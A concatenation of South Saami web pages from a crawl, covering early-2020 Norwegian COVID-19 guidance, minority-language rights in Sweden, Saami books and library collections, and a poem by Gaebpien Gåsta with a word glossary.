restauraante, bar, pub jïh plearoeh gaavnedimmiesijjieh.\n- Saavremejarngh\n- Gïehtelimmieh goh bietskiedæjjadïenesjh, njaltjabåehtjierdimmie, daanjeme jïh kråahpesujhteme, tatoveradimmie, raejkievaelteme (piercing) jïh plearoeh faalenassh\n- Voejemehaallh, laavkomesijjieh jïh plearoeh\nHealsoebarkijh mah skïemtjijigujmie berkieh eah luhpiem utnieh ålkoelaantese vuelkedh. Nihteme faamosne dovne dïenesjefeelemidie jïh privaate feelemidie. Nænnoestimmie lea faamosne njoktjen 12. b. raejeste jïh annjebodts voerhtjen minngiegietjien raajan 2020.\n- Faalenasse ektieskovhten bïjre jåarhka. Fåantoe lea almetjh vihkeles siebriedahkefunksjovnigujmie edtjieh maehtedh barkose jïh barkoste båetedh, jïh maehtedh jovnesem sinsætnan hööltedh.\n- Healsoedirektoraate maadta ij guessine mïnnedh almetjidie institusjovnine prååsehke dåehkiejgujmie (båarasåbpoe almetjh, psykiatrije, faangkegåetieh, jnv).\nHealsoedirektoraate naemhtie maadta feelemi bïjre:\n- Edtja sislaanten skovhtem tjïrrehtidh dan iemielaakan goh gåarede\n- Healsoedirektoraate tjarke haasta ij eejehtallemefeelemh darjodh\n- Aellieh barkosne jallh skuvlesne mïnnh, aellieh feelemh darjoeh mah eah leah striengkies daerpies (dovne sislaantesne jïh ålkoelaantesne), aellieh byögkeles skovhtem vaeltieh jis ih daarpesjh, aellieh jeatjah sijjine mïnnh gusnie aelhkieslaakan mubpiej lïhke båatah, aellieh lïhke gaskesem mubpiejgujmie utnieh.\n- Gaajhkesh dovnesh mah feelemijstie båetieh Sveerjen jïh Såevmien ålkoli edtjieh karanteenesne mïnnedh, jalhts dej eah leah symptomh. Daate faamosne bååstede goeven 27.b. raejeste.\nRiejriesvoetemoenehtse åtna daah 15 funksjovnh leah eevre vihkeles siebriedahkese:\n- Stuvreme jïh aehpieståvroe\n- Vaarjelimmie\n- Laake jïh öörnege\n- Healsoe jïh hokse\n- Beerkemedïenesje\n- IKT-jearsoesvoete sivijle suerkesne\n- Eatneme jïh byjrese\n- Fasseldimmiejearsoesvoete\n- Tjaetsie jïh såelsietjaetsie\n- Finansielle dïenesjh\n- Faamoefasseldimmie\n- Elektrovneles gaskesadtemedïenesjh\n- Skovhte\n- Satelihtebaseradamme dïenesjh\n- Apoteekh\nDaate lea symptomh\nDoh voestes biejjieh doh jeanatjommesh vaejliem åadtjoeh. Dellie åedtjieh maehtieh saejriedidh, maahta goevhredh, tjarke gåalodh jïh svååjpelostedh. Sïejhme dåsmoes domtedh jïh skovrehtassem åadtjodh. Doh jeanatjommesh buerebe sjidtieh govhte, tjïjhtje biejjiej mænngan.\nAareh boelhken skïemtjelasseste sïejhme symptomh sijhtieh årrodh åejjiesaejriehtasse, gejhkiegossehtahke jïh njuenie svaatjelde. Mænngan, jis vijruse vïerrebe sjædta, maahta gossehtahkem åadtjodh njohkine jïh maalijes njohkem åadtjodh gosse gåssa.\nMubpie boelhke skïemtjelasseste lea gosse leevles sjædta voejngehtidh jïh\/jallh baaktjesem mïelkesne åådtje. Maahta sååjhtedh gåbloefunksjovne faahketji nåhka jïh dåeriesmoerh åådtje voejngehtimmine, jïh dellie daerpies sjædta oksygenine dejnie vearremes tsiehkine. Symptomh åajvahkommes jijhtieh vïjhteden skïemtjiebiejjien.\nSåemies aejkien koronavijruse tjiermieskaaram vadteme. Symptomh dellie lea daamtaj onnegåetesne mïnnedh, juelkieh bankoeh jïh aaj tjelmiej nuelesne bankoe, jolle virretrygke jïh\/jallh sæjlome jïh viesjiesvoete.\nDov gyhtjelassh healsoeåejvieladtjide?\nBïevneselinja koronavijrusen bïjre lea tellefovnesne: 815 55 015.\nAlmetjh mah vienhtieh sijjieh koronasuetiem åådtjeme, tjuerieh staeriesdåaktarasse jallh dåakterevaaptan ringkedh tellefovnesne 116 117.\nVihkeles almetjh, mah vienhtieh sijjieh leah suetiem åådtjeme, eah dåakteren gåajkoe jallh dåakterevaeptien gåajkoe vuelkieh, men gåetesne sjidtieh jïh gaskesem vaeltieh tellefovnesne.\nOrrestamme bïevnesh Almetjehealsoeinstituhteste daennie svaalhtesisnie gaavnh.\nDaam byörh daejredh\nVoestes aejkien vijrusem Nöörjesne vihtiesti lij goevten 26.b.\nNöörjen åejvieladtjh leah dïrregh reebleme juktie diagnovsem varke vihtiestidh, jïh leah njoelkedassh seedteme healsoeaktööride abpe laantesne. Gaajhkh nöörjen girtiesijjieh jïh tjïelten åejviedåakterh aaj prievieh bïhkedassigujmie åådtjeme.\nGaajhkh laanten vïrrebaanghkh leah njieljie våhkoeh karanteenem nænnoestamme vïrrevedtiejidie mah leah dajvine mïnneme gusnie koronavijruse saasereminie.\nVïrrebaanghkese Oslosne striengkiesåbpoe, gusnie gaajhkesh dovnesh mah gaskesem åtneme naakenigujmie mah dajvine orreme gusnie koronavijruse lea saasereminie, aaj karanteenem åadtjoeh.\nNjoktjen 14.b. raejeste Ålkoerijhkedepartemeente narhtele nöörjen almetjh gaajhkide laantide vuelkedh jis ij leah eevre daerpies dan stoerre geerjehtimmien gaavhtan koronavijrusistie daejnie dajvine.\nHealsoedirektoraate jïh Almetjhealsoeinstituhte birrieh gaajhkh barkijh healsoe- jïh hoksedïenesjisnie, mah leah dajvine orreme gusnie koronavijruse jåarhka saaseridh, gåetesne årrodh barkoste 14 biejjieh mænngan gåatan båateme. Lohkh vielie dan bïjre daesnie.\nMij koronavijruse?\nKoronavijruse SARS-CoV-2 (aaj gohtjesovveme coronavijruse jallh 2019-ncov) lea vijrusefuelhkie mij nommem åådtjeme dan mietie guktie vååjnoeh mikroskopen nuelesne. Dah leah jorpe jïh gaptjeme naaloejgujmie mah maehtieh kråvnine vååjnedh.\nKoronavijrusen gaavhtan maahta infeksjovnh åadtjodh voejngehtassefunksjovnesne. Maahta jaemedh såemies vijrusijstie, mubpieh eah leah dan itjmies.\nVijruse akte RNA-vijruse. Daate sæjhta jiehtedh genmaterijellesne RNA sijjeste DNS, jïh dan åvteste vijruse varke saasere jïh mutasjovnh daamtajåbpoe sjugniehtuvvieh. Njoktjen 5.b. åehpies sjïdti koronavijruse lea jïjtjemse evtiedamme göökte joekehts varijaantine. Vååjnoe goh dïhte voestes vijrusesåarhte, mij gohtjesåvva S-såarhte, aktem lijnies skïemtjelassem vadta. Dïhte mubpie versjovne, mij gohtjesåvva L-såarhte lea vaaregåbpoe jïh verkebe saasere. Daelie S-såarhte mij jeenjemes saasere bïjre jarkan mænngan dïhte vaaregåbpoe versjovne lea ånnanamme tsïengelen raejeste.\nDotkijh vaksijnh teestedeminie mejtie dagke gåarede nuhtjedh, men daate barkoe sæjhta fïnkesidh.\nMan vaarege vijruse?\nJeerehte man vaarege vijruse lea. Naakenh leah lijnies symptomh åådtjeme, mearan mubpieh leah itjmies skïemtjine sjïdteme jïh jaameme.\nDah mah leah suetiem åådtjeme maehtieh vaejliem jïh gossehtahkem åadtjodh jïh dåeriesmoerh åadtjodh voejngehtidh. Gosse joekoen itjmies maahta gåbloe-ovleme sjïdtedh, gåbloeh jïh tjiermieh maehtieh faahketji beajstalgidh.\nAntibiotika ij naan nåhtoem utnieh vijrusasse, jïh ij akt sïejhme influensabådtja sïjhth nåhtojne årrodh. Dah mah suetiem åådtjeme jïh skïemtjegåatan båetieh sijhtieh væskam jïh dåarjoem årgaanide åadtjodh. Men åajvahkommes immunvaarjelimmie tjuara barkoem darjodh.\nLåhkoe dejstie mah suetiem åådtjeme jïh mah jaemieh lea vuelege, Veartenen healsoeårganisasjovnen mietie. Jeenjesh dejstie mah sealadin lin båeries almetjh, jallh viesjies healsoem utnin aarebistie.\nMan stoerre laanestimmievaahram vijruse vadta?\nDet kan også sitte på overflater som dørhåndtak og gelendre. Vijruse almetji gaskem laaneste trahpasuetien tjïrrh, maaje gosse gåssa jïh gasna. Vijruse maahta aaj bijjieskierine årrodh goh okserïhpestahkesne jïh gelenderisnie.\nDoh jeanatjommes suetietsiehkieh leah sjugniehtovveme Kinesne jallh almetjijstie mah leah Kinesne orreme.\nDotkijh aerviedieh dïhte reaktoe taale almetjidie mah suetiem åådtjeme lea sagke stuerebe goh dïhte registreradamme taale.\nSkïemtjelasse laaneste goh sovhtine jïh influensine, golme vuekine:\n- Elmien tjïrrh gosse skïemtjije gasna jallh gåssa naemhtie guktie akte jeatjah almetje mij lïhkebisnie tjåådtje, vijrusem sïjse voejngehte jallh vijruse gaskesem åådtje njohkeskïeltine tjelmine, njuenesne jallh njaelmesne.\n- Gosse skïemtjije lea vijrusem åådtjeme gïetine jïh dam jeatjah almetjidie vadta gaskesen tjïrrh.\n- Ovryöktesh gaskesinie gosse vijruse lea båateme aatide jallh daevieridie gåetesne gesnemen\/gossemen tjïrrh, jallh dïhte skïemtjije jallh mubpieh leah vijrusem gïetine åtneme jïh jeatjah almetjh aatide jïh daevieridie doehtedieh.\nMij dorjesåvva juktie daam tjöödtjestidh\nNöörjesne healsoeåejvieladtjh soejkesjeminie dan jeenjesh goh 25 proseenth årroejijstie maehtieh suetiem åadtjodh. Råajvarimmieh mejtie vuarjesje daelie leah åtnoem giehpiedidh byögkeles skovhteste, healsoebarkijh jeatjah barkoelaavenjasside sertedh jïh skuvlh jïh maanagïerth steegkedh:\nKinan åejvieladtjh leah abpe staarem Wuhan jïh kraannatjïeltide geerelamme. Tjåanghkan gellie millijovnh almetjh desnie årroeminie.\nWuhan 1000 dåakteredåehkieh laanten jeatjah provinsijste åådtjeme, jïh göökte orre skïemtjegåetieh tseegkesovvin joekoen spaajhte.\nGellie staarh Kinesne leah restriksjovnh sjïehtesjamme feelemasse, jïh jienebh laanth leah lissie gïehtjehtimmieh sjïehtesjamme feelijijstie.\nJienebh girtiesïelth leah sijjen feelemh tjöödtjestamme Kinese.\nDotkijh jieniebistie laantijste barkeminie vaksijnem darjodh, men daate fïnkese.\nGubpede vijruse båata?\nVijrusem voestegh vueptiesti staaresne Wuhan Kinesne. Staaresne 11 millijovnh årrojh jïh staare lea Shanghaien jillege.\nVoestes aejkien gosse eelkin suetiem sovmehtidh lij goeven minngiegietjesne, jïh voestes almetje destie jeemi tsïengelen 9.b. Voestes aejkien korona laanesti almetji gaskem lij Wuhanesne seapan joe gaskoeh goeven.\nSeammalaakan goh gåbloevijrusigujmie Sars jïh Mers, aervedeminie vijruse lea laanestamme kreekijste. Annjebodts ij rikti daejrieh mij kreekide mij lea «sådtere», men aervede suetiegaaltijh maehtieh årrodh gïermesjh, såajasnjearah, grevlingh jallh rööhtsh.\nJeenjesh dejstie mah suetiem åadtjoejin barkin jallh hööllestin mearoebeapmoemaarhkedisnie Wuhanesne, gusnie jielije jallh aadtjen leekedamme kreekh leah doekemasse.","id":"","dump":"CC-MAIN-2021-31","url":"https:\/\/www.nrk.no\/osloogviken\/xl\/koronavijruse---informasjon-pa-sorsamisk-1.14954727","date":"2021-07-26T14:40:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-31\/segments\/1627046152129.33\/warc\/CC-MAIN-20210726120442-20210726150442-00211.warc.gz","language":"sma","language_score":0.9999976158,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.999997615814209}","num_words":1220,"character_repetition_ratio":0.041,"word_repetition_ratio":0.0,"special_characters_ratio":0.142,"stopwords_ratio":0.116,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Orre gærja: \"Manne mov gïelem bååstede vaaltam\"\nSkrevet den 27.02.14\nJane Juuso, Varangerbotnen luvhtie, orre gærjam tjaaleme. Goerehtamme man åvteste gellie eah doesth saemiestidh. Dellie gærja viehkine båata.\nTar språket tilbake\nJane Juuso har skrevet bok om språkvitalisering. Hun har forsket på hvordan man kan ta sitt språk tilbake. Hun har holdt mange foredrag og har nå skrevet en bok tilpasset det sørsamiske samfunnet. Hun har også hatt kurs i Östersund om språkvitalisering. Boken har mange praktiske råd om hvordan man kan overvinne språksperrer og negative tankemønster. Hun jobber daglig ved Isak Saba-senteret.\nJanne Juuso gie Isak Saba-senterisnie barkeminie, gellien aejkien guessine Staaresne, Saemiedigkien luvnie. Desnie Sylvia Sparrockinie ektine barkeme. Dah guaktah gïelekuvsjem öörneme jïh daelie orre gærja destie sjïdteme.\nTjïelke saemiestidh\nJeenjemesh sijhtieh tjïelke saemiestidh. Gosse soptsestieh, dellie geerve sjædta jïh demtieh guktie vaajmoe varkebe tsaapma gosse edtjieh saemiestidh. Dellie maa nåake domtoe. Dåeriesmoerh amma desnie guktie dulhtjestieh jallh daaroestieh.\nGærja viehkine dejtie gïeh sijhtieh åarjelsaemien gïelem soptsestidh jïh eah doesth saemiestidh. Jïh gærja gïelekuvsjen tsiehkide buerkeste. Numhtie maehtebe buerebe guarkedh guktie åarjelsaemien gïelem jealajehtedh.\nGïele-tsagkese nåake\nGellie ussjedieh \"im asth saemiestidh\". Jïh dellie slyöhpoeh saemiestidh. Dan nuelesne gellie dåeriesmoerh tjïekedieh: mejtie vaejvie, skaamoe jallh hujnie? Guktie dellie darjodh?\nGærja buerkeste guktie dej dåeriesmoerigujmie jallh gïele-tsagkesigujmie. Gïele-tsagkese mij akt mij datnem tjöötjeste gosse sïjhth saemiestidh. Dellie ih doesth gænnah.\nGærjesne maehtebe lohkedh jïh lïeredh guktie darjodh gosse numhtie ussjedibie. Aelhkebe gosse åssjalommesidie buerebe daejrebe, dellie maehtebe jeatjhlaakan ussjedidh. Vaejtie mubpien aajkan voejhkelibie saemiestidh. Minngemes raajan gaajhkh dah dåeriesmoerh haajpanieh!\nTeekste : Meerke Krihke Leine Bientie","id":"","dump":"CC-MAIN-2021-39","url":"http:\/\/www.samiskmenighet.no\/event\/doLink\/famid\/391439","date":"2021-09-24T00:50:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780057479.26\/warc\/CC-MAIN-20210923225758-20210924015758-00409.warc.gz","language":"sma","language_score":0.9998804331,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9998804330825806}","num_words":254,"character_repetition_ratio":0.072,"word_repetition_ratio":0.0,"special_characters_ratio":0.157,"stopwords_ratio":0.024,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Dov reaktoe nationelle unnebelåhkoegïelese\nGaajhkh åejvieladtjh Sveerjesne tjoeverieh bievnedidh gaajhkh nationelle unnebelåhkoeh jih sijjien gïele reaktoe, jih aaj jiddisch- jih romske gïele.\nDaan teksten tjïrrh åadtjoeh daejredh mah gïele reaktoe åtna jih maam maahtah dov tjïeltesne jih jeatjah åejvieladtji luvnie krïevedh.\nGoh nationelle unnebelåhkoe ryöknebe judarh, romerh, saemieh, sveerjesåevmieh jih tornedaelien almetjh. Dah nationelle unnebelåhkosne leah såevmie, jiddisch, meänkieli, romske (romani chib) jih saemien gïele.\nTsïengelen 1 .b. 2010 laage bööti nationelle unnebelåhkoe jih unnebelåhkoe gïelh (SFS 2009:724 External link., webbe bielie sveerjen gïelesne) jih tsïengelen 2019 laagem jarkoestin nemhtie reaktoe jih åeliedimmiem buerebe nännoestamme. Gaajhkh tjïelth åeliem utnieh jih ulmie jih rïektesievide nännoestidh unnebelåhkoepolitihke barkose. Tjïelte edtja gaskesadteme dutnan mij nationelle unnebelåhkosne mij gyjhtjelasside jih nännoestimmem dæjpa akten unnebelåhkoevuajnoen mietie.\nGaajhk nationelle unnebelåhkoe gïelide edtjieh vaarjelidh jih freemmedh\nGïelelaage (SFS 2009:600 External link., webbebielie sveerjen gïelesne) jeahta dah nationelle unnebelåhkoe gïelide edtjieh vaarjelidh jih freemmedh. Dihte jeahta nemhtie siebriedahke edtja dutnan mij nationelle unnebelåhkosne lïeredh jih evtiedidh jih dov unnebelåhkoe gïelem nuhtjedh.\nÅejvieladtjh edtja dutnan saerniestidh dov reaktoe bïjre, läjhkan magkeres unnebelåhkoe gïelem soptesth jih gusnie Sveerjesne årroeminie.\nReaktoe ietniengïeleööhpetæmman\nDatne mij daejstie nationelle unnebelåhkoste jih maanah skuvlesne åtna maahta buerie daejredh dov maanah nännoes reaktoem åtna ietniengïeleööhpetämman. Dov maanah reaktoem åtna jih ietniengïeleööhpetimmiem sov unnebelåhkoegïelesne läjhkan jis ij gåetesne aarkebiejjien soptsesth. Dov maanah ij daarpesjh alkoevistie gïelem maehtedh guktie ieniengïeleööhpetimmiem åadtjodh.\nSkuvle lååjkehks jih ietniengïeleööhpetimmem öörnedh dah nationelle unnebelåhkoe gïelide jis\n- Akte learohke ööhpetimmem daarpesje (Ij lea naan krïeveme tjoevere unnemes vïjhte learohkh årrodh.)\n- Sjiehteles lohketäjja gååvnese.\nRektovre dihte mij reerie mejtie lohketäjja sjeahta jih ietniengïelesne ööhpehtidh.\nMejtie dov maana nationelle unnebelåhkosne romerh jih jeatjah gïelem ålkoerijhkeste åtna dellie skuvle maahta ietniengïeleööhpetimmiem göökte gïeline vedtedh jis sjïere nuepie.\nSjïere nännoes reaktoe såevmie, meänkieli jih saemien\nSjïere nænnoes reaktoe åtna datne mij såevmien, meänkieli jallh saemien jih saemien tjïeltesne årroeminie akten reeremedajvesne. Bielesne Förvaltningsområden (webbe bielie sveerjen) maahtah vuejnedh mejtie dov tjïelte meatan reeremedajvesne.\nDatne mij tjïeltesne årroeminie akten reeremedajvesne reaktoem åtna dov gïelesne åejvieladtjigujmie soptsestidh. Datne edtjh njaalmeldh vaestiedassem seamma gïelesne åadtjodh jis lea paarhte ierene mij leah reeremedajvese .\nTjïelth edtjieh skuvlelaagen mietie tjeebredh jih aarhskuvlem öörnedh gusnie abpe jallh jïenehke unnebelåhkoe gïelem såevmie, meänkieli jallh saemien jis eejhtegh njaahtjoeh.\nTjïelth edtjieh aaj voereshoksem faaledh såevmie, meänkieli jih saemien.\nDatne mij tjïeltesne årroeminie mij ij akten reeremedajvesne edtjh aaj maehtedh åejvieladtjigujmie gaskesadtedh såevmie, meänkieli jih saemien jis barkije almetjh gïele maahtoem utnieh.\nDatne maahtah unnemes biehkiem hokseste voeres hoksesne såevmie, jiddisch, meänkieli, romani chib jallh saemien jis tjïeltebarkijh gïele maahtoem åtna.\nTjïelth jih åejvieladtjh lååjkehks jih dutnan saerniestidh mij lea nationelle unnebelåhkoste dov reaktoeh bïjre. Dah aaj lååjkehks jih nationelle unnebelåhkoen gïelem jih kultuvrem vaarjelidh jih sjïere vihkeles maana jih noerh reaktoem utnieh sov gïelem jih kultuvrem evtiedidh. Tjïelth jih jeatjah åejvieladtjh tjuerieh dutnan saerniestidh dah nationelle unnebelåhkoe bijre gusnie datne.\nLäjhkan gusnie årroeminie edtjh maehtedh såevmie, meänkieli jih saemien tjaeledh daan Rihkebiejjien, Justitiekanslerinie, Barkoedorjehtimmie, Tjïrkemekassine, Skaehtievierhke jih Dïedtelgimmiesaadthalmetji gåajka.\nDiekie maahtah bielielidh\nJis ij tuhtjh dov tjïelte jallh jeatjah åejvieladtjh daam laagem dåeriedieh maahtah gaskesadtedh Leeneståvroe Stuhkien leenesne jallh Saemiedigkiem bieljelidh mij edtja vuejnedh jis laagem dåeriedieh. Saemiedigkie diedtem saemien jih Leeneståvroe Stuehkesne diedtem jeatjah gïelide.\nLänsstyrelsen i Stockholms län\nTelefovne: 010-223 10 00\nSametinget\nTelefovne: 0980-780 30\nDaesnie maahtah vielie lohkedh\nDaesnie svaalhtesh jeatjah webbesijjide gusnie vielie bïevnesh dov reaktoe bïjre jih reeremedajvi bïjre åadtjoeh. Sisvege webbesijjine lea daaroen gïelesne.\n- Webbplats för de nationella minoriteterna External link. (minoritet.se)\n- Stöd i undervisning om nationella minoriteter External link. (Skolverket)\n- Om nationella minoritetsspråk (isof.se)\n- Lagen om nationella minoriteter och minoritetsspråk External link. (Regeringen)\n- Rätten att utveckla sitt nationella minoritetsspråk External link. (Skolverket)\n- Nationella minoriteter och minoritetsspråk External link. (Länsstyrelsen i Stockholms län)","id":"","dump":"CC-MAIN-2021-39","url":"https:\/\/www.isof.se\/sidor-pa-nationella-minoritetssprak\/samegiella\/aarjelsaemien\/dov-reaktoe-nationelle-unnebelahkoegielese","date":"2021-09-27T23:00:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780058552.54\/warc\/CC-MAIN-20210927211955-20210928001955-00625.warc.gz","language":"sma","language_score":0.9999091625,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.9999091625213623}","num_words":593,"character_repetition_ratio":0.109,"word_repetition_ratio":0.0,"special_characters_ratio":0.147,"stopwords_ratio":0.111,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Nïestesjidh - Tradisjonell slakting på Helgeland - CD\nGun Margret Utsi & Lena Kappfjell\nDaennie gærjesne lea veljie guvvieh mah v'ihtesjieh guktie åarjelsaemieh lea aerpievuekien mietie n'iestesjamme gellie tjuetie jaepien gietjeste. Dovletji vierhtieh, vuekieh j'lh maahtoe lea boelveste boelvese vijriebasse vadtasovveme saemiej d'ieves g'ieline. Åajvoeh jis viehkievierhtine sjædta daam g'ieleveljiem gorredidh. Joekoen buerie sjeahta maadthskovlen 66hpehtimmesne, mohte hijven jis aaj soptsestallemeaamhtesen våaromine sjædta noeri j'ih voeresi gaskesne, j'ih ahte gaajhkh boelvi lustestallemen lohkemasse.\nGærja lea ektiebarkoeprovsjekte Sijti Jarngen j'ih TjaelijiBertemen gaskesne.","id":"","dump":"CC-MAIN-2021-43","url":"https:\/\/www.gavpi.org\/lydboker\/231-niestesjidh-tradisjonell-slakting-pa-helgeland-cd.html","date":"2021-10-24T15:03:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323586043.75\/warc\/CC-MAIN-20211024142824-20211024172824-00523.warc.gz","language":"sma","language_score":0.9999630451,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.9999630451202393}","num_words":78,"character_repetition_ratio":0.006,"word_repetition_ratio":0.0,"special_characters_ratio":0.148,"stopwords_ratio":0.077,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Besök 1177.se, logga in för personliga e-tjänster eller ring 1177 för sjukvårdsrådgivning.\nDet är många som ringer telefonbokningen för vaccinering mot covid-19. Det kan tyvärr ta upp till ett par dagar innan du blir uppringd för bokning. Boka gärna digitalt om du har möjlighet.\nDatne mij lea bieline aktede nasjonaale unnebelåhkoste, dov lea muvhti veajkoej reakta dov gïelem nuhtjedh gosse healsoedïenesjinie gaskesadth. Vuartesjh daesnie mij lea faamosne ovmessie tsiehkine.\nSkïemtjijelaake dutnjien gie skïemtjije. Dïhte buerkeste edtjh bïevnesh åadtjodh dov skïemtjelassen bïjre jïh mah båehtjierdimmieh gååvnesieh. Dellie maahtah meatan årrodh jïh dov hoksem nænnoestidh. Edtjh aaj åadtjodh daejredh gusnie maahtah dov hoksem veeljedh maam daarpesjh.","id":"","dump":"CC-MAIN-2021-43","url":"https:\/\/www.1177.se\/sma-se\/Norrbotten\/other-languages\/other-languages\/regler-och-rattigheter---andra-sprak\/","date":"2021-10-21T22:07:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323585441.99\/warc\/CC-MAIN-20211021195527-20211021225527-00629.warc.gz","language":"sma","language_score":0.99983114,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9998311400413513}","num_words":103,"character_repetition_ratio":0.024,"word_repetition_ratio":0.0,"special_characters_ratio":0.169,"stopwords_ratio":0.078,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemien gïelegaaltije\nSaemien gïelegaaltije lea noerhtelaanti saemien faage- jïh maahtoejarnge. Gïelegaaltijen laavenjassh leah terminologijebarkoe, gïelenjoelkedassh, sijjienommh gïetedalledh, gïelem vaarjelidh, gïelem evtiedidh jïh bïevnesh saemiengïelen bïjre vedtedh. Gïelegaaltijen leah uktsie barkijh jïh vïjhte saemien gïelh: åarjel-, julev-, anaar-, skolte- jïh noerhtesaemiengïele.\nSaemien faage- jïh maahtoejarnge lea laavenjostoeprosjeekte Saemien Parlamentarihken Raeriej jïh dej Saemiedigkiej gaskemsh Saepmesne. Prosjeekten ulmie edtja staeries gïelejarngine sjïdtedh. Prosjeekte eelki tsïengelen 2013. Daelie prosjeekte kontovrh fïere-guhtene Saemiedigkesne åtna; Såevmesne, Nöörjesne jïh Sveerjesne. Dah leah Interreg IV\/A\/Nord, Tromsøn jïh Noerhtelaanten fylhkh Nöörjesne, Lapin Litto Såevmesne jïh dah golme Saemiedigkieh gïeh beetnegh prosjeektese dåårjeme.","id":"","dump":"CC-MAIN-2021-43","url":"https:\/\/satni.uit.no\/termwiki\/index.php?title=Saemien_g%C3%AFelegaaltije","date":"2021-10-23T02:19:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323585537.28\/warc\/CC-MAIN-20211023002852-20211023032852-00482.warc.gz","language":"sma","language_score":0.9999486208,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999486207962036}","num_words":93,"character_repetition_ratio":0.078,"word_repetition_ratio":0.0,"special_characters_ratio":0.145,"stopwords_ratio":0.226,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Våarhkosne antikvarijes, sveekes, båarasåbpoe jïh vyörtegs gærjah jïh tjaalaldahkh, jïh såemies kaarhth bååstede jaapan 1669. Lissine såemies tihtelh dejstie minngemes 100 jaepijste mah sjïere aarvoem utnieh.\nDaelie aadtjen våarhkoem gïehtjedamme jïh gaajhkh tihtelh leah registreradamme gærjagåetiesysteemesne. Gåarede dan åvteste dej mietie syökedh seammalaakan goh jeatjah tjaatsegi mietie syökoe.\nDoh jeanatjommes tjaatsegh naestievåarhkosne låhkoeh utnieh magasijnesne mejtie gåarede löönedh, men låhkoeh naestievåarhkosne eah gåaredh löönedh. Maahta muvhti veajkoej dejtie veedtjedh jïh lohkedh gærjagåetesne.\nBæjhkoehtimmieh naestievåarhkosne leah naemhtie daelie:\n- Ovrehte10 tihtelh 1600-låhkoste\n- 80 tihtelh 1700-låhkoste\n- 430 tihtelh fra 1800-låhkoste\nDejstie båarasommes gærjijste våarhkosne maahta neebnedh Manuale Lapponicum maam Olaus Stepani Graan (Stuehkie 1669) lea tjaaleme jïh Lapponia maam Johannes Schefferus lea tjaaleme, jieniebinie låhkojne 1674 raejeste jïh åvtese.","id":"","dump":"CC-MAIN-2021-43","url":"https:\/\/sametinget.no\/saemiedigkien-garjagaetie\/stjernesamlingen\/","date":"2021-10-17T10:06:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323585171.16\/warc\/CC-MAIN-20211017082600-20211017112600-00602.warc.gz","language":"sma","language_score":0.9999964237,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9999964237213135}","num_words":110,"character_repetition_ratio":0.075,"word_repetition_ratio":0.0,"special_characters_ratio":0.174,"stopwords_ratio":0.109,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ij leah jïjnjh tjïehpieslidteratuvren gærjah åarjelsaemien gïelesne. Goh Gaebpien Gåstan vaajesegærja Gaaltije 1987:esne bertesovvi, dellie lij voesteges vaajesegærjam mijjen smaaregine. Beagkoes noerhtesaemien daajhtije Nils-Aslak Valkeapää skræjrine lij guktie daam gærjam åålmehtehtin.\ndaajhtije – kåånstnere, tjiehpije\nMaajehjaevrien dunniebealesne, gogka ij naan geajnoe, desnie lea sijjjiem mij gohtje Maajehnjuana, Gaebpien Gåsta desnie årroji altese maanabaeleste.\nMaana-gaedtie: Gåstan lea vaajesem mij aaj lea vueliem altese gærjesne jïh desnie soptseste altese maanagaedtien bïjre:\nMov maana-gaedtie dan seadtoes lij\nTjoevkes lij elmien jissie\nBiejjie goeki dan bijjene elmesne\nMov maana-gaedtien sijjiem biktieji\nBiejvieh lin moenjehth, glienjehtin elmiem\nIj lin naan balvh mah åvtem gaptjin\nMov maana-aajmoe haelehti dan vijriem\nalnadahki dubpelen, vaeriej duakan\nJaevrie lij dåedtjies\nguelieh tjïevledin\nMov eejhtegh jïjtsh vaatoem jaevreste vaetiehtin\nduvvene jaevresne gurhtie aaj govli\njaevrien voerngesne aejvesti\nBaakoeh:\nbiktedh - baahkedidh\nbiejvie – biejjie\nmoenjehth – moenjeh; buaredh; tjaebpies vearolde\nglienjehtidh – klienjedh; gïjkedh; giltedh\nmaana-aajmoe – maanan åssjalommesh\nalnadahke – stoerre deava, båvne vuj vaartoe gusnie maahtah vijries gïehtjedidh bïjre jarkan\ntjïevledidh – gosse guelieh tjïevledieh dellie lea buerie håagkodh\nvaatoe – onnetji beapmoe\nvaetiehtidh – tjaebpieslaakan gihtjedidh maam joem åadtjodh\ngurhtie – ledtie man lea tjamke sårkoes tjoeje\naejviestidh – guhkede tjåarvodh; aejvierdidh – hujnesne vuj måeresne joejkedh\nMearan Gåsta lij noere ålma dellie bovtsigujmie barki. Mubpie veartenedåarosne lij stoerre stadjoe Maajejaevresne, jïh såajhti tyskeridie Gåstam aaj geerelin. Mearan Gåsta dåaroefaankine lij dellie dan garre njåvtasovvi guktie dåaroen mænngan idtji vielie maehtieh båatsojne barkedh.\nKlikkbar 